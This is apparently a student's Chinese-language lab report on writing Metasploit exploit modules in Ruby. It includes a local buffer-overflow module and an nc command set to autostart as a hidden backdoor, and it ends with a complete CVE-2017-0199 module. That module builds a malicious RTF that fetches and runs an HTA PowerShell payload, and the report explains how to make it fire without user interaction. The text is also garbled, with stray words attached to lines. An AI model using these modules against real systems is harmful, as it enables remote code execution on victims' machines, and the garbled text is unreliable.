CVE-2017-0199
漏洞開發了攻擊模塊成功攻擊目標主機。在實踐過程當中同時學習了payload模塊的基本框架和設計原理。1.學習Ruby語言及MSF Exploit開發框架html
2.開發針對本地漏洞應用的攻擊模塊java
3.開發針對遠程漏洞的攻擊模塊linux
4.分析當前某可用漏洞,開發針對的攻擊模塊正則表達式
Ruby是一種純粹的面向對象編程語言。shell
在msf中就使用ruby語言來編寫各個模塊,這也是爲何學習ruby語言的主要緣由。數據庫
.rb
,在msf的各個模塊中的文件也都是rb文件。puts "Hello, Ruby!";
.
來調用類或模塊中的方法。你可使用類或模塊名稱和兩個冒號::
來引用類或模塊中的常量。::
是一元運算符,容許在類或模塊內定義常量、實例方法和類方法,能夠從類或模塊外的任何地方進行訪問。在 Ruby 中,類和方法也能夠被看成常量。只須要在表達式的常量名前加上::
前綴,便可返回適當的類或模塊對象。若是::
前的表達式爲類或模塊名稱,則返回該類或模塊內對應的常量值;若是::
前沒有前綴表達式,則返回主Object類中對應的常量值。def method_name expr.. end
def method_name (var1, var2) expr.. end
method_name
def test i = 100 j = 10 k = 0 end
require 'msf/core'
include Msf::Exploit::FILEFORMAT
,若是模塊是定義在一個單獨的文件中,那麼在嵌入模塊以前就須要使用 require 語句引用該文件。puts "#{foo}"
來調用已經定義的字符串str + other_str
來鏈接兩個字符串 other_str 到 str。str.chomp
:從字符串末尾移除記錄分隔符($/),一般是 \n。若是沒有記錄分隔符,則不進行任何操做。str.delete(other_str, ...)
:返回 str 的副本,參數交集中的全部字符會被刪除。str.delete!(other_str, ...)
:與 delete 相同,可是 str 會發生變化並返回。str.each_line(separator=$/) { |substr| block }
:使用參數做爲記錄分隔符(默認是 $/)分隔 str,傳遞每一個子字符串給被提供的 block。str.gsub(pattern, replacement) [or] str.gsub(pattern) { |match| block }
:返回 str 的副本,pattern 的全部出現都替換爲 replacement 或 block 的值。pattern 一般是一個正則表達式 Regexp;若是是一個字符串 String,則沒有正則表達式元字符被解釋(即,/\d/ 將匹配一個數字,但 '\d' 將匹配一個反斜槓後跟一個 'd')。str.gsub!(pattern, replacement) [or] str.gsub!(pattern) { |match| block }
:執行 String#gsub 的替換,返回 str,若是沒有替換被執行則返回 nil。1 $payload = 」......」; 2 $string = 「...」; 3 $string .= 「A」 x 32; 4 $string .= 「\x7b\x94\x81\x7c」; 5 $string .= $payload; 6 open(NC, 「|nc.exe 127.0.0.1 80″); 7 print NC $string; 8 close(NC);
my $info = { ‘Name’ => ‘IIS 4.0 .HTR Buffer Overflow’, ‘Version’ => ‘$Revision: 1.7 $’, ‘Authors’ => [ 'Stinko', ], ‘Arch’ => [ 'x86' ], ‘OS’ => [ 'win32', 'winnt' ], ‘Priv’ => 0, }
register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta']) ], self.class)
’Payload’ => { ‘Space’ => 2048, ‘MaxNops’ => 0, ‘MinNops’ => 0, ‘BadChars’ =>, },
’Description’ =>%q{ //此處省略 },
’Refs’ => [ ['OSVDB', ''], ['BID', ''], ['CVE', ''], ['URL', ''], ['MIL', ''], ],
’DefaultTarget’ => 0, ’Targets’ => [ ['Windows XX', 593, 0x77f81a4d], ['Windows XX', 593, 0x77f7635d], ['Windows XX', 589, 0x77f76385], ],
’Keys’ => ['iis'], ’DisclosureDate’ => ‘XXXXXX′,
require 'msf/core' class MetasploitModule < Msf::Exploit Rank = GreatRanking def initialize(info = {}) super(update_info(info, 'Name' => 'local_pwn', 'Description' => %q( local exploits ), 'License' => MSF_LICENSE, 'Author' => [ 'caiye', '20145208' ], 'Platform' => [ 'linux'], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'References' => [ ], 'DisclosureDate' => "04 17 2017" )) register_options([ OptString.new("Inputfile_PATH", [ true, "FILE PATH", "/root/20145208/input" ]), OptString.new("Thepwn_PATH", [ true, "FILE PATH", "/root/20145208/pwnx" ]), ]) end def exploit 用來填充的字符串 str="11111111"+ "22222222"+ "33333333"+ "44444444" 返回地址 addr="\x7d\x84\x04\x08" 兩個字符串鏈接 buf= str + addr 將攻擊字符串寫入文件 inputfile = File.new("#{datastore['Inputfile_PATH']}","w") inputfile.print("#{buf}") inputfile.close 將文件內容做爲被攻擊對象的輸入值 output = system("(cat #{datastore['Inputfile_PATH']};cat)|#{datastore['Thepwn_PATH']}") 得到返回結果 output.each_line { |line| vprint_status(line.chomp) } end end
retaddr+nop+shellcode
的方式攻擊,經過不一樣的shellcode達到不一樣的攻擊方式:retaddr+nop+shellcode
的方式實際上是能夠結合遠程漏掉使用在遠程攻擊模塊上面的。nc -l -p 端口 -t -e 文件位置
來接受網絡上的數據做爲文件的輸入,在本次實驗中使用的是已經寫好的可執行文件,那麼能夠將這個命令加入到自啓動項目裏就能夠隱蔽的創建nc鏈接了:CVE-2017-0199
漏洞,針對的是Microsoft Office RTF文檔的漏洞。當用戶打開包含該漏洞利用代碼的文檔時,惡意代碼就會下載並執行包含PowerShell命令的Visual Basic腳本。惡意Office文檔正是利用了漏洞CVE-2017-0199來在受感染設備上下載並執行惡意Payload。application/rtf rtf
修改爲:application/hta rtf
重啓apache後,清除IE緩存再雙擊對象,此時雖然訪問的仍是1.rtf文件,可是服務器的Content-type會返回application/hta,而word就以hta腳本的方式打開文件:這樣的poc仍是須要用戶雙擊對象進行交互的,那麼怎麼樣才能自動運行對象呢?這裏就須要把文件保存成rtf格式後用文本編輯器打開剛保存的rtf文件,找到object標籤所在的地方:apache
把{\object\objautlink\rsltpict
修改爲:{\object\objautlink\objupdate\rsltpict
,objupdate這個標籤的做用是能夠自動更新對象,保存文件再從新打開。此時無需用戶交互就可直接運行hta腳本。編程
require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => "Microsoft Office Word Malicious Hta Execution", 'Description' => %q{ This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. }, 'Author' => [ '20145208cy', ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-0199'], ], 'Platform' => 'win', 'Targets' => [ [ 'Microsoft Office Word', {} ] ], 'DefaultOptions' => { 'DisablePayloadHandler' => false }, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '6 24 2017')) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta']) ], self.class) end def generate_uri uri_maxlength = 112 host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] scheme = datastore['SSL'] ? 'https' : 'http' uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}" uri = Rex::Text.hexify(Rex::Text.to_unicode(uri)) uri.delete!("\n") uri.delete!("\\x") uri.delete!("\\") padding_length = uri_maxlength * 2 - uri.length fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length.negative? padding_length.times { uri << "0" } uri end def create_ole_ministream_data ministream_data = "" ministream_data << "01000002090000000100000000000000" # 00000000: ................ ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K...... ministream_data << generate_uri ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.] ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............ ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................ ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7........... ministream_data << "00000000000000000000000000000000" # 000000f0: ................ ministream_data << "100203000d0000000000000000000000" # 00000100: ................ ministream_data << "00000000000000000000000000000000" # 00000110: ................ ministream_data << "00000000000000000000000000000000" # 00000120: ................ ministream_data << "00000000000000000000000000000000" # 00000130: ................ ministream_data << "00000000000000000000000000000000" # 00000140: ................ ministream_data << "00000000000000000000000000000000" # 00000150: ................ ministream_data << "00000000000000000000000000000000" # 00000160: ................ ministream_data << "00000000000000000000000000000000" # 00000170: ................ ministream_data << "00000000000000000000000000000000" # 00000180: ................ ministream_data << "00000000000000000000000000000000" # 00000190: ................ ministream_data << "00000000000000000000000000000000" # 000001a0: ................ ministream_data << "00000000000000000000000000000000" # 000001b0: ................ ministream_data << "00000000000000000000000000000000" # 000001c0: ................ ministream_data << "00000000000000000000000000000000" # 000001d0: ................ ministream_data << "00000000000000000000000000000000" # 000001e0: ................ ministream_data << "00000000000000000000000000000000" # 000001f0: ................ ministream_data end def create_rtf_format template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf") template_rtf = ::File.open(template_path, 'rb') data = template_rtf.read(template_rtf.stat.size) data.gsub!('MINISTREAM_DATA', create_ole_ministream_data) template_rtf.close data end def on_request_uri(cli, req) p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win' } ) data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n") send_response(cli, data, 'Content-Type' => 'application/hta') end def exploit file_create(create_rtf_format) super end end
file_create(create_rtf_format)
函數產生一個名爲本身設置的文件,以後把這個文件發給對方。